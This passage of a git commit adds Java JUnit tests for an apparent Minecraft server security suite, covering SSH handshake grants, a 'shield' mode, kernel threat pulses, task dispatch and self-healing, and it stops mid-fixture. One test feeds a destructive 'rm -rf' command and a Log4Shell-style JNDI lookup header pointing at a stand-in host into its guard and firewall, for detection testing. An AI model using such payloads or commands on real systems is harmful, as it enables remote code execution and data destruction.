提交Git

2026-05-10 12:59:00 +08:00
commit b0aaea9fb3
2544 changed files with 545276 additions and 0 deletions
@@ -0,0 +1,261 @@
+package com.aluer.console;
+
+import com.aluer.ai.AIStrategyEngine;
+import com.aluer.ai.AluerSovereignEngine;
+import com.aluer.ai.DeepSeekClient;
+import com.aluer.audit.SecurityAuditService;
+import com.aluer.backup.BackupService;
+import com.aluer.config.ServerGuardConfig;
+import com.aluer.kernel.AluerKernelEngine;
+import com.aluer.kernel.AluerKernelTaskBus;
+import com.aluer.kernel.AluerSelfHealingOrchestrator;
+import com.aluer.model.MetricsData;
+import com.aluer.monitor.ProcessMonitor;
+import com.aluer.monitor.ResourceMonitor;
+import com.aluer.security.CloudflareIntegrationService;
+import com.aluer.security.CommandExecutionGuardService;
+import com.aluer.security.DDoSDefenseCoordinator;
+import com.aluer.security.DDoSProtectionService;
+import com.aluer.security.DistributedAttackMitigationService;
+import com.aluer.security.FirewallService;
+import com.aluer.security.GeoIPService;
+import com.aluer.security.HostEnforcementService;
+import com.aluer.security.IPReputationService;
+import com.aluer.security.IntrusionDetectionService;
+import com.aluer.security.LoadBalancerService;
+import com.aluer.security.MinecraftProtocolSecurityService;
+import com.aluer.security.NetworkMonitorService;
+import com.aluer.security.NetworkThreatFusionService;
+import com.aluer.security.PacketInspectionService;
+import com.aluer.security.PortScanDetectionService;
+import com.aluer.security.RateLimitService;
+import com.aluer.security.SecurityBaselineHardeningService;
+import com.aluer.security.SecurityOrchestrationService;
+import com.aluer.security.TrafficAnalysisService;
+import com.aluer.security.WebApplicationFirewall;
+import com.aluer.service.RconClient;
+import org.junit.jupiter.api.Test;
+
+import java.time.LocalDateTime;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class AluerEngineHandshakeServiceTest {
+
+    @Test
+    void issuesGrantTokenAfterSovereignHandshake() {
+        Fixture fixture = new Fixture();
+
+        AluerEngineHandshakeService.HandshakeResult result = fixture.handshakeService.requestSshHandshake(
+            new AluerEngineHandshakeService.HandshakeIntent("198.51.100.10", 22, "root", "test-connect")
+        );
+
+        assertTrue(result.isApproved());
+        assertNotNull(result.getToken());
+        assertFalse(result.getToken().isBlank());
+        assertEquals("ALUER_SOVEREIGN_LOOP", result.getEngine());
+
+        AluerEngineHandshakeService.HandshakeGrant grant = fixture.handshakeService.consumeSshGrant(
+            result.getToken(),
+            "198.51.100.10",
+            22,
+            "root"
+        );
+        assertEquals("198.51.100.10", grant.getHost());
+        assertEquals("root", grant.getUsername());
+    }
+
+    private static final class Fixture {
+        private final ServerGuardConfig config = new ServerGuardConfig();
+        private final AluerEngineHandshakeService handshakeService;
+
+        private Fixture() {
+            config.getSecurity().getKernel().setEnabled(false);
+            config.getSecurity().getTaskBus().setEnabled(true);
+            config.getSecurity().getTaskBus().setAutoDispatch(false);
+            config.getSecurity().getSelfHealing().setEnabled(false);
+            config.getSecurity().getSelfHealing().setDryRun(true);
+            config.getSecurity().getHostEnforcement().setEnabled(false);
+            config.getSecurity().getCloudEdge().setEnabled(false);
+            config.getSecurity().getCloudEdge().setDryRun(true);
+            config.getSecurity().getShield().setEnabled(true);
+            config.getSecurity().getShield().setAutoEnableUnderAttack(true);
+            config.getDashboard().getSshGateway().setRequireEngineHandshake(true);
+            config.getMinecraft().getRcon().setPassword("strong-rcon-password");
+
+            FakeProcessMonitor processMonitor = new FakeProcessMonitor(config);
+            FakeResourceMonitor resourceMonitor = new FakeResourceMonitor(config);
+            FakeBackupService backupService = new FakeBackupService(config);
+            FakeRconClient rconClient = new FakeRconClient(config);
+
+            DDoSProtectionService ddosProtectionService = new DDoSProtectionService();
+            FirewallService firewallService = new FirewallService();
+            IntrusionDetectionService intrusionDetectionService = new IntrusionDetectionService();
+            NetworkMonitorService networkMonitorService = new NetworkMonitorService();
+            TrafficAnalysisService trafficAnalysisService = new TrafficAnalysisService();
+            PortScanDetectionService portScanDetectionService = new PortScanDetectionService();
+            PacketInspectionService packetInspectionService = new PacketInspectionService();
+            IPReputationService ipReputationService = new IPReputationService();
+            GeoIPService geoIPService = new GeoIPService();
+            RateLimitService rateLimitService = new RateLimitService();
+            NetworkThreatFusionService fusion = new NetworkThreatFusionService(
+                ddosProtectionService,
+                firewallService,
+                intrusionDetectionService,
+                networkMonitorService,
+                trafficAnalysisService,
+                portScanDetectionService,
+                packetInspectionService,
+                ipReputationService,
+                geoIPService,
+                rateLimitService
+            );
+
+            SecurityBaselineHardeningService hardening = new SecurityBaselineHardeningService(config);
+            CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, intrusionDetectionService);
+            WebApplicationFirewall waf = new WebApplicationFirewall();
+            AluerKernelEngine kernel = new AluerKernelEngine(config, fusion, hardening, commandGuard, waf);
+            AIStrategyEngine strategyEngine = new AIStrategyEngine();
+            SecurityAuditService auditService = new SecurityAuditService(config, rconClient);
+            AluerKernelTaskBus taskBus = new AluerKernelTaskBus(config, processMonitor, backupService, rconClient, strategyEngine, auditService, kernel);
+            AluerSelfHealingOrchestrator orchestrator = new AluerSelfHealingOrchestrator(
+                config,
+                kernel,
+                taskBus,
+                resourceMonitor,
+                processMonitor,
+                hardening,
+                auditService
+            );
+            DistributedAttackMitigationService mitigationService = new DistributedAttackMitigationService();
+            HostEnforcementService hostEnforcementService = new HostEnforcementService(config);
+            CloudflareIntegrationService cloudflareIntegrationService = new CloudflareIntegrationService(config);
+            LoadBalancerService loadBalancerService = new LoadBalancerService();
+            DDoSDefenseCoordinator ddosDefenseCoordinator = new DDoSDefenseCoordinator(
+                config,
+                ddosProtectionService,
+                mitigationService,
+                new MinecraftProtocolSecurityService(),
+                hostEnforcementService
+            );
+            AluerMirageShieldService shieldService = new AluerMirageShieldService(
+                config,
+                fusion,
+                ddosDefenseCoordinator,
+                mitigationService,
+                cloudflareIntegrationService,
+                hostEnforcementService,
+                loadBalancerService,
+                hardening,
+                commandGuard,
+                kernel,
+                taskBus,
+                orchestrator,
+                auditService
+            );
+            SecurityOrchestrationService orchestrationService = new SecurityOrchestrationService(
+                hostEnforcementService,
+                cloudflareIntegrationService,
+                rconClient,
+                auditService
+            );
+            DeepSeekClient deepSeekClient = new DeepSeekClient(config);
+            AluerSovereignEngine sovereignEngine = new AluerSovereignEngine(
+                config,
+                deepSeekClient,
+                fusion,
+                orchestrationService,
+                strategyEngine,
+                commandGuard,
+                auditService,
+                hardening,
+                kernel,
+                rconClient
+            );
+
+            handshakeService = new AluerEngineHandshakeService(
+                config,
+                sovereignEngine,
+                kernel,
+                shieldService,
+                auditService
+            );
+        }
+    }
+
+    private static final class FakeProcessMonitor extends ProcessMonitor {
+        private FakeProcessMonitor(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public boolean isProcessRunning() {
+            return true;
+        }
+    }
+
+    private static final class FakeResourceMonitor extends ResourceMonitor {
+        private FakeResourceMonitor(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public MetricsData collectMetrics() {
+            MetricsData data = new MetricsData();
+            data.setTps(19.7);
+            data.setCpuUsage(44.0);
+            data.setMemoryUsage(52.0);
+            return data;
+        }
+    }
+
+    private static final class FakeBackupService extends BackupService {
+        private FakeBackupService(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public BackupResult performScheduledBackup() {
+            BackupResult result = new BackupResult();
+            result.setName("handshake-backup");
+            result.setSuccess(true);
+            result.setBackupPath("/tmp/handshake-backup");
+            result.setStartTime(LocalDateTime.now());
+            return result;
+        }
+    }
+
+    private static final class FakeRconClient extends RconClient {
+        private FakeRconClient(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public boolean clearLag() {
+            return true;
+        }
+
+        @Override
+        public boolean setSpawnRate(int rate) {
+            return true;
+        }
+
+        @Override
+        public boolean enableWhitelist() {
+            return true;
+        }
+
+        @Override
+        public String executeCommand(String command) {
+            return "ok";
+        }
+
+        @Override
+        public boolean restartServer() {
+            return true;
+        }
+    }
+}
@@ -0,0 +1,232 @@
+package com.aluer.console;
+
+import com.aluer.ai.AIStrategyEngine;
+import com.aluer.audit.SecurityAuditService;
+import com.aluer.backup.BackupService;
+import com.aluer.config.ServerGuardConfig;
+import com.aluer.kernel.AluerKernelEngine;
+import com.aluer.kernel.AluerKernelTaskBus;
+import com.aluer.kernel.AluerSelfHealingOrchestrator;
+import com.aluer.model.MetricsData;
+import com.aluer.monitor.ProcessMonitor;
+import com.aluer.monitor.ResourceMonitor;
+import com.aluer.security.CloudflareIntegrationService;
+import com.aluer.security.CommandExecutionGuardService;
+import com.aluer.security.DDoSDefenseCoordinator;
+import com.aluer.security.DDoSProtectionService;
+import com.aluer.security.DistributedAttackMitigationService;
+import com.aluer.security.FirewallService;
+import com.aluer.security.GeoIPService;
+import com.aluer.security.HostEnforcementService;
+import com.aluer.security.IPReputationService;
+import com.aluer.security.IntrusionDetectionService;
+import com.aluer.security.LoadBalancerService;
+import com.aluer.security.MinecraftProtocolSecurityService;
+import com.aluer.security.NetworkMonitorService;
+import com.aluer.security.NetworkThreatFusionService;
+import com.aluer.security.PacketInspectionService;
+import com.aluer.security.PortScanDetectionService;
+import com.aluer.security.RateLimitService;
+import com.aluer.security.SecurityBaselineHardeningService;
+import com.aluer.security.TrafficAnalysisService;
+import com.aluer.security.WebApplicationFirewall;
+import com.aluer.service.RconClient;
+import org.junit.jupiter.api.Test;
+
+import java.time.LocalDateTime;
+import java.util.List;
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class AluerMirageShieldServiceTest {
+
+    @Test
+    void shelterModeProducesDeterrenceAndQueuesContainment() {
+        Fixture fixture = new Fixture();
+
+        Map<String, Object> result = fixture.shieldService.engage("SHELTER", "test-shelter");
+
+        assertEquals("SHELTER", result.get("mode"));
+        assertTrue(String.valueOf(result.get("deterrenceMessage")).contains("ALUER NOTICE"));
+
+        @SuppressWarnings("unchecked")
+        List<Map<String, Object>> actions = (List<Map<String, Object>>) result.get("actions");
+        assertTrue(actions.stream().anyMatch(action -> "under-attack".equals(action.get("type"))));
+        assertTrue(actions.stream().anyMatch(action -> "task:WHITELIST_LOCKDOWN".equals(action.get("type"))));
+        assertTrue(actions.stream().anyMatch(action -> "self-healing".equals(action.get("type"))));
+    }
+
+    private static final class Fixture {
+        private final ServerGuardConfig config = new ServerGuardConfig();
+        private final AluerMirageShieldService shieldService;
+
+        private Fixture() {
+            config.getSecurity().getKernel().setEnabled(false);
+            config.getSecurity().getTaskBus().setEnabled(true);
+            config.getSecurity().getTaskBus().setAutoDispatch(false);
+            config.getSecurity().getSelfHealing().setEnabled(false);
+            config.getSecurity().getSelfHealing().setDryRun(true);
+            config.getSecurity().getHostEnforcement().setEnabled(false);
+            config.getSecurity().getCloudEdge().setEnabled(false);
+            config.getSecurity().getCloudEdge().setDryRun(true);
+            config.getSecurity().getShield().setEnabled(true);
+            config.getSecurity().getShield().setAutoEnableUnderAttack(true);
+            config.getMinecraft().getRcon().setPassword("strong-rcon-password");
+
+            FakeProcessMonitor processMonitor = new FakeProcessMonitor(config);
+            FakeResourceMonitor resourceMonitor = new FakeResourceMonitor(config);
+            FakeBackupService backupService = new FakeBackupService(config);
+            FakeRconClient rconClient = new FakeRconClient(config);
+
+            DDoSProtectionService ddosProtectionService = new DDoSProtectionService();
+            FirewallService firewallService = new FirewallService();
+            IntrusionDetectionService intrusionDetectionService = new IntrusionDetectionService();
+            NetworkMonitorService networkMonitorService = new NetworkMonitorService();
+            TrafficAnalysisService trafficAnalysisService = new TrafficAnalysisService();
+            PortScanDetectionService portScanDetectionService = new PortScanDetectionService();
+            PacketInspectionService packetInspectionService = new PacketInspectionService();
+            IPReputationService ipReputationService = new IPReputationService();
+            GeoIPService geoIPService = new GeoIPService();
+            RateLimitService rateLimitService = new RateLimitService();
+
+            NetworkThreatFusionService fusion = new NetworkThreatFusionService(
+                ddosProtectionService,
+                firewallService,
+                intrusionDetectionService,
+                networkMonitorService,
+                trafficAnalysisService,
+                portScanDetectionService,
+                packetInspectionService,
+                ipReputationService,
+                geoIPService,
+                rateLimitService
+            );
+            fusion.quarantineIP("198.51.100.55", "test", "bot swarm");
+
+            SecurityBaselineHardeningService hardening = new SecurityBaselineHardeningService(config);
+            CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, intrusionDetectionService);
+            WebApplicationFirewall waf = new WebApplicationFirewall();
+            AluerKernelEngine kernel = new AluerKernelEngine(config, fusion, hardening, commandGuard, waf);
+            AIStrategyEngine strategyEngine = new AIStrategyEngine();
+            SecurityAuditService auditService = new SecurityAuditService(config, rconClient);
+            AluerKernelTaskBus taskBus = new AluerKernelTaskBus(config, processMonitor, backupService, rconClient, strategyEngine, auditService, kernel);
+            AluerSelfHealingOrchestrator orchestrator = new AluerSelfHealingOrchestrator(
+                config,
+                kernel,
+                taskBus,
+                resourceMonitor,
+                processMonitor,
+                hardening,
+                auditService
+            );
+
+            DistributedAttackMitigationService mitigationService = new DistributedAttackMitigationService();
+            HostEnforcementService hostEnforcementService = new HostEnforcementService(config);
+            CloudflareIntegrationService cloudflareIntegrationService = new CloudflareIntegrationService(config);
+            LoadBalancerService loadBalancerService = new LoadBalancerService();
+            DDoSDefenseCoordinator ddosDefenseCoordinator = new DDoSDefenseCoordinator(
+                config,
+                ddosProtectionService,
+                mitigationService,
+                new MinecraftProtocolSecurityService(),
+                hostEnforcementService
+            );
+
+            shieldService = new AluerMirageShieldService(
+                config,
+                fusion,
+                ddosDefenseCoordinator,
+                mitigationService,
+                cloudflareIntegrationService,
+                hostEnforcementService,
+                loadBalancerService,
+                hardening,
+                commandGuard,
+                kernel,
+                taskBus,
+                orchestrator,
+                auditService
+            );
+        }
+    }
+
+    private static final class FakeProcessMonitor extends ProcessMonitor {
+        private FakeProcessMonitor(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public boolean isProcessRunning() {
+            return false;
+        }
+
+        @Override
+        public boolean restartProcess() {
+            return true;
+        }
+    }
+
+    private static final class FakeResourceMonitor extends ResourceMonitor {
+        private FakeResourceMonitor(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public MetricsData collectMetrics() {
+            MetricsData data = new MetricsData();
+            data.setTps(9.5);
+            data.setCpuUsage(97.0);
+            data.setMemoryUsage(96.0);
+            return data;
+        }
+    }
+
+    private static final class FakeBackupService extends BackupService {
+        private FakeBackupService(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public BackupResult performScheduledBackup() {
+            BackupResult result = new BackupResult();
+            result.setName("shield-backup");
+            result.setSuccess(true);
+            result.setBackupPath("/tmp/shield-backup");
+            result.setStartTime(LocalDateTime.now());
+            return result;
+        }
+    }
+
+    private static final class FakeRconClient extends RconClient {
+        private FakeRconClient(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public boolean clearLag() {
+            return true;
+        }
+
+        @Override
+        public boolean setSpawnRate(int rate) {
+            return true;
+        }
+
+        @Override
+        public boolean enableWhitelist() {
+            return true;
+        }
+
+        @Override
+        public String executeCommand(String command) {
+            return "ok";
+        }
+
+        @Override
+        public boolean restartServer() {
+            return true;
+        }
+    }
+}
@@ -0,0 +1,35 @@
+package com.aluer.console;
+
+import com.aluer.audit.SecurityAuditService;
+import com.aluer.config.ServerGuardConfig;
+import com.aluer.security.CommandExecutionGuardService;
+import com.aluer.security.IntrusionDetectionService;
+import com.aluer.service.RconClient;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertThrows;
+
+class RemoteSshGatewayServiceTest {
+
+    @Test
+    void rejectsConnectionWithoutPasswordOrPrivateKey() {
+        ServerGuardConfig config = new ServerGuardConfig();
+        CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, new IntrusionDetectionService());
+        SecurityAuditService auditService = new SecurityAuditService(config, new RconClient(config));
+        RemoteSshGatewayService service = new RemoteSshGatewayService(config, commandGuard, auditService);
+
+        assertThrows(IllegalArgumentException.class, () -> service.connect(
+            new RemoteSshGatewayService.ConnectRequest(
+                "test-node",
+                "127.0.0.1",
+                22,
+                "root",
+                "",
+                "",
+                "",
+                "",
+                ""
+            )
+        ));
+    }
+}
@@ -0,0 +1,137 @@
+package com.aluer.kernel;
+
+import com.aluer.config.ServerGuardConfig;
+import com.aluer.security.CommandExecutionGuardService;
+import com.aluer.security.DDoSProtectionService;
+import com.aluer.security.FirewallService;
+import com.aluer.security.GeoIPService;
+import com.aluer.security.IPReputationService;
+import com.aluer.security.IntrusionDetectionService;
+import com.aluer.security.NetworkMonitorService;
+import com.aluer.security.NetworkThreatFusionService;
+import com.aluer.security.PacketInspectionService;
+import com.aluer.security.PortScanDetectionService;
+import com.aluer.security.RateLimitService;
+import com.aluer.security.SecurityBaselineHardeningService;
+import com.aluer.security.TrafficAnalysisService;
+import com.aluer.security.WebApplicationFirewall;
+import org.junit.jupiter.api.Test;
+
+import java.lang.reflect.Field;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ExecutorService;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class AluerKernelEngineTest {
+
+    @Test
+    void kernelPulseGeneratesCommandAbuseDirectiveAndEchoMemory() throws Exception {
+        try (Fixture fixture = new Fixture()) {
+            fixture.commandGuard.analyzeCommand("tester", "rm -rf /var/tmp/aluer", "198.51.100.60");
+            fixture.waf.checkRequest(
+                "198.51.100.60",
+                "POST",
+                "/console",
+                null,
+                Map.of("X-Exploit", "${jndi:ldap://evil.test/a}"),
+                null
+            );
+
+            AluerKernelEngine.KernelPulse pulse = fixture.kernel.runKernelPulse("test-command");
+
+            assertTrue(pulse.getHeat() >= 60);
+            assertEquals("COMMAND_ABUSE_RESPONSE", pulse.getDirective().getWorkflow());
+
+            @SuppressWarnings("unchecked")
+            List<Map<String, Object>> echoCells = (List<Map<String, Object>>) fixture.kernel.getKernelMatrix().get("echoCells");
+            assertFalse(echoCells.isEmpty());
+            assertEquals("198.51.100.60", echoCells.get(0).get("target"));
+        }
+    }
+
+    @Test
+    void kernelPulseUsesThreatMeshForHighNetworkPressure() throws Exception {
+        try (Fixture fixture = new Fixture()) {
+            String ip = "203.0.113.44";
+            fixture.ddos.blockIP(ip, "SYN_FLOOD", "burst");
+            fixture.firewall.addToBlacklist(ip);
+            fixture.portScan.blockScanner(ip, "PORT_SCAN", "scanner");
+            fixture.ipReputation.addToBlacklist(ip);
+            fixture.packetInspection.inspectPacket(ip, Map.of("size", 16000));
+            fixture.networkMonitor.recordInboundTraffic(ip, 25_000_000L, 120);
+
+            AluerKernelEngine.KernelPulse pulse = fixture.kernel.runKernelPulse("test-network");
+
+            assertTrue(pulse.getResonance() >= 50);
+            assertTrue(
+                List.of("L34_DDOS_RESPONSE", "L7_DDOS_RESPONSE", "MC_BOT_SWARM_RESPONSE", "HOST_INTRUSION_RESPONSE")
+                    .contains(pulse.getDirective().getWorkflow())
+            );
+            assertTrue(fixture.kernel.getKernelStatus().containsKey("lastPulse"));
+        }
+    }
+
+    private static final class Fixture implements AutoCloseable {
+        private final ServerGuardConfig config = new ServerGuardConfig();
+        private final DDoSProtectionService ddos = new DDoSProtectionService();
+        private final FirewallService firewall = new FirewallService();
+        private final IntrusionDetectionService intrusion = new IntrusionDetectionService();
+        private final NetworkMonitorService networkMonitor = new NetworkMonitorService();
+        private final TrafficAnalysisService traffic = new TrafficAnalysisService();
+        private final PortScanDetectionService portScan = new PortScanDetectionService();
+        private final PacketInspectionService packetInspection = new PacketInspectionService();
+        private final IPReputationService ipReputation = new IPReputationService();
+        private final GeoIPService geoIP = new GeoIPService();
+        private final RateLimitService rateLimit = new RateLimitService();
+        private final NetworkThreatFusionService threatFusion = new NetworkThreatFusionService(
+            ddos,
+            firewall,
+            intrusion,
+            networkMonitor,
+            traffic,
+            portScan,
+            packetInspection,
+            ipReputation,
+            geoIP,
+            rateLimit
+        );
+        private final SecurityBaselineHardeningService hardeningService;
+        private final CommandExecutionGuardService commandGuard;
+        private final WebApplicationFirewall waf = new WebApplicationFirewall();
+        private final AluerKernelEngine kernel;
+
+        private Fixture() {
+            config.getSecurity().getKernel().setEnabled(false);
+            config.getMinecraft().getRcon().setPassword("this-is-a-strong-rcon-password");
+            config.getSecurity().getHostEnforcement().setEnabled(true);
+            config.getSecurity().getHostEnforcement().setDryRun(false);
+            config.getAi().getDeepseek().getAutoExecute().setEnabled(true);
+            config.getAi().getDeepseek().getAutoExecute().setMinConfidence(92);
+
+            hardeningService = new SecurityBaselineHardeningService(config);
+            commandGuard = new CommandExecutionGuardService(config, intrusion);
+            kernel = new AluerKernelEngine(config, threatFusion, hardeningService, commandGuard, waf);
+        }
+
+        @Override
+        public void close() throws Exception {
+            shutdownExecutors(ddos, firewall, intrusion, networkMonitor, traffic, portScan, packetInspection, ipReputation, rateLimit);
+        }
+
+        private void shutdownExecutors(Object... services) throws Exception {
+            for (Object service : services) {
+                for (Field field : service.getClass().getDeclaredFields()) {
+                    field.setAccessible(true);
+                    Object value = field.get(service);
+                    if (value instanceof ExecutorService executorService) {
+                        executorService.shutdownNow();
+                    }
+                }
+            }
+        }
+    }
+}
@@ -0,0 +1,162 @@
+package com.aluer.kernel;
+
+import com.aluer.ai.AIStrategyEngine;
+import com.aluer.audit.SecurityAuditService;
+import com.aluer.backup.BackupService;
+import com.aluer.config.ServerGuardConfig;
+import com.aluer.monitor.ProcessMonitor;
+import com.aluer.security.CommandExecutionGuardService;
+import com.aluer.security.DDoSProtectionService;
+import com.aluer.security.FirewallService;
+import com.aluer.security.GeoIPService;
+import com.aluer.security.IPReputationService;
+import com.aluer.security.IntrusionDetectionService;
+import com.aluer.security.NetworkMonitorService;
+import com.aluer.security.NetworkThreatFusionService;
+import com.aluer.security.PacketInspectionService;
+import com.aluer.security.PortScanDetectionService;
+import com.aluer.security.RateLimitService;
+import com.aluer.security.SecurityBaselineHardeningService;
+import com.aluer.security.TrafficAnalysisService;
+import com.aluer.security.WebApplicationFirewall;
+import com.aluer.service.RconClient;
+import org.junit.jupiter.api.Test;
+
+import java.util.List;
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class AluerKernelTaskBusTest {
+
+    @Test
+    void dispatchesRecoveryAndStabilityTasksThroughPlugins() {
+        Fixture fixture = new Fixture();
+
+        fixture.taskBus.submitTask(AluerKernelTaskBus.TaskType.PROCESS_RECOVERY, "test", 95, Map.of("reason", "dead-process"));
+        fixture.taskBus.submitTask(AluerKernelTaskBus.TaskType.RELIEVE_PRESSURE, "test", 80, Map.of("reason", "lag-spike"));
+        List<AluerKernelTaskBus.KernelTaskResult> results = fixture.taskBus.dispatchQueuedTasks(2);
+
+        assertEquals(2, results.size());
+        assertEquals("recovery-plugin", results.get(0).getPluginId());
+        assertEquals("stability-plugin", results.get(1).getPluginId());
+        assertTrue(fixture.processMonitor.restartAttempts >= 1);
+        assertTrue(fixture.rconClient.clearLagCalls >= 1);
+        assertFalse(fixture.taskBus.getQueueSnapshot(5).iterator().hasNext());
+    }
+
+    private static final class Fixture {
+        private final ServerGuardConfig config = new ServerGuardConfig();
+        private final FakeProcessMonitor processMonitor;
+        private final FakeBackupService backupService;
+        private final FakeRconClient rconClient;
+        private final AIStrategyEngine strategyEngine = new AIStrategyEngine();
+        private final SecurityAuditService auditService;
+        private final AluerKernelTaskBus taskBus;
+
+        private Fixture() {
+            config.getSecurity().getKernel().setEnabled(false);
+            config.getSecurity().getTaskBus().setAutoDispatch(false);
+            config.getSecurity().getTaskBus().setEnabled(true);
+            config.getMinecraft().getRcon().setPassword("strong-rcon-password");
+
+            processMonitor = new FakeProcessMonitor(config);
+            backupService = new FakeBackupService(config);
+            rconClient = new FakeRconClient(config);
+            auditService = new SecurityAuditService(config, rconClient);
+
+            DDoSProtectionService ddos = new DDoSProtectionService();
+            FirewallService firewall = new FirewallService();
+            IntrusionDetectionService intrusion = new IntrusionDetectionService();
+            NetworkMonitorService networkMonitor = new NetworkMonitorService();
+            TrafficAnalysisService traffic = new TrafficAnalysisService();
+            PortScanDetectionService portScan = new PortScanDetectionService();
+            PacketInspectionService packetInspection = new PacketInspectionService();
+            IPReputationService ipReputation = new IPReputationService();
+            GeoIPService geoIP = new GeoIPService();
+            RateLimitService rateLimit = new RateLimitService();
+            NetworkThreatFusionService fusion = new NetworkThreatFusionService(
+                ddos, firewall, intrusion, networkMonitor, traffic, portScan, packetInspection, ipReputation, geoIP, rateLimit
+            );
+            SecurityBaselineHardeningService hardening = new SecurityBaselineHardeningService(config);
+            CommandExecutionGuardService commandGuard = new CommandExecutionGuardService(config, intrusion);
+            WebApplicationFirewall waf = new WebApplicationFirewall();
+            AluerKernelEngine kernel = new AluerKernelEngine(config, fusion, hardening, commandGuard, waf);
+
+            taskBus = new AluerKernelTaskBus(config, processMonitor, backupService, rconClient, strategyEngine, auditService, kernel);
+        }
+    }
+
+    private static final class FakeProcessMonitor extends ProcessMonitor {
+        private boolean running = false;
+        private int restartAttempts = 0;
+
+        private FakeProcessMonitor(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public boolean isProcessRunning() {
+            return running;
+        }
+
+        @Override
+        public boolean restartProcess() {
+            restartAttempts++;
+            running = true;
+            return true;
+        }
+    }
+
+    private static final class FakeBackupService extends BackupService {
+        private FakeBackupService(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public BackupResult performScheduledBackup() {
+            BackupResult result = new BackupResult();
+            result.setName("test-backup");
+            result.setSuccess(true);
+            result.setBackupPath("/tmp/test-backup");
+            result.setStartTime(java.time.LocalDateTime.now());
+            return result;
+        }
+    }
+
+    private static final class FakeRconClient extends RconClient {
+        private int clearLagCalls = 0;
+
+        private FakeRconClient(ServerGuardConfig config) {
+            super(config);
+        }
+
+        @Override
+        public boolean clearLag() {
+            clearLagCalls++;
+            return true;
+        }
+
+        @Override
+        public boolean setSpawnRate(int rate) {
+            return true;
+        }
+
+        @Override
+        public boolean enableWhitelist() {
+            return true;
+        }
+
+        @Override
+        public String executeCommand(String command) {
+            return "ok";
+        }
+
+        @Override
+        public boolean restartServer() {
+            return true;
+        }
+    }
+}
@@ -0,0 +1,187 @@
+package com.aluer.kernel;
+
+import com.aluer.ai.AIStrategyEngine;
+import com.aluer.audit.SecurityAuditService;
+import com.aluer.backup.BackupService;
+import com.aluer.config.ServerGuardConfig;
+import com.aluer.model.MetricsData;
+import com.aluer.monitor.ProcessMonitor;
+import com.aluer.monitor.ResourceMonitor;
+import com.aluer.security.CommandExecutionGuardService;
+import com.aluer.security.DDoSProtectionService;
+import com.aluer.security.FirewallService;
+import com.aluer.security.GeoIPService;
+import com.aluer.security.IPReputationService;
+import com.aluer.security.IntrusionDetectionService;
+import com.aluer.security.NetworkMonitorService;
+import com.aluer.security.NetworkThreatFusionService;
+import com.aluer.security.PacketInspectionService;
+import com.aluer.security.PortScanDetectionService;
+import com.aluer.security.RateLimitService;
+import com.aluer.security.SecurityBaselineHardeningService;
+import com.aluer.security.TrafficAnalysisService;
+import com.aluer.security.WebApplicationFirewall;
+import com.aluer.service.RconClient;
+import org.junit.jupiter.api.Test;
+
+import java.util.List;
+import java.util.Map;
+
+import static org.junit.jupiter.api.Assertions.assertFalse;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+class AluerSelfHealingOrchestratorTest {
+
+    @Test
+    void healingCyclePlansRecoveryForDeadProcessAndResourceEmergency() {
+        Fixture fixture = new Fixture();
+
+        AluerSelfHealingOrchestrator.HealingCycle cycle = fixture.orchestrator.runHealingCycle("test");
+        Map<String, Object> cycleMap = cycle.toMap();
+
+        @SuppressWarnings("unchecked")
+        List<Map<String, Object>> plan = (List<Map<String, Object>>) cycleMap.get("plan");
+        @SuppressWarnings("unchecked")
+        List<Map<String, Object>> results = (List<Map<String, Object>>) cycleMap.get("results");
+
+        assertFalse((Boolean) cycleMap.get("processRunning"));
+        assertTrue(plan.stream().anyMatch(item -> "PROCESS_RECOVERY".equals(item.get("type"))));
+        assertTrue(plan.stream().anyMatch(item -> "RELIEVE_PRESSURE".equals(item.get("type"))));
+        assertTrue(results.stream().anyMatch(item -> "PROCESS_RECOVERY".equals(item.get("type"))));
+        assertTrue(results.stream().anyMatch(item -> "RELIEVE_PRESSURE".equals(item.get("type"))));
+    }
+
+    private static final class Fixture {
+        private final ServerGuardConfig config = new ServerGuardConfig();
+        private final FakeProcessMonitor processMonitor;
+        private final FakeResourceMonitor resourceMonitor;
+        private final FakeBackupService backupService;
+        private final FakeRconClient rconClient;
+        private final AluerSelfHealingOrchestrator orchestrator;
+
+        private Fixture() {
+            config.getSecurity().getKernel().setEnabled(false);
+            config.getSecurity().getTaskBus().setEnabled(true);
+            config.getSecurity().getTaskBus().setAutoDispatch(false);
+            config.getSecurity().getSelfHealing().setEnabled(false);
+            config.getSecurity().getSelfHealing().setDryRun(false);
+            config.getSecurity().getSelfHealing().setAutoBackupBeforeRecovery(true);
+            config.getMinecraft().getRcon().setPassword("strong-rcon-password");
+
+            processMonitor = new FakeProcessMonitor(config);
+            resourceMonitor = new FakeResourceMonitor(config);
+            backupService = new FakeBackupService(config);
+            rconClient = new FakeRconClient(config);
+
+            DDoSProtectionService ddos = new DDoSProtectionService();
+            FirewallService firewall = new FirewallService();
+            IntrusionDetectionService intrusion = new IntrusionDetectionService();
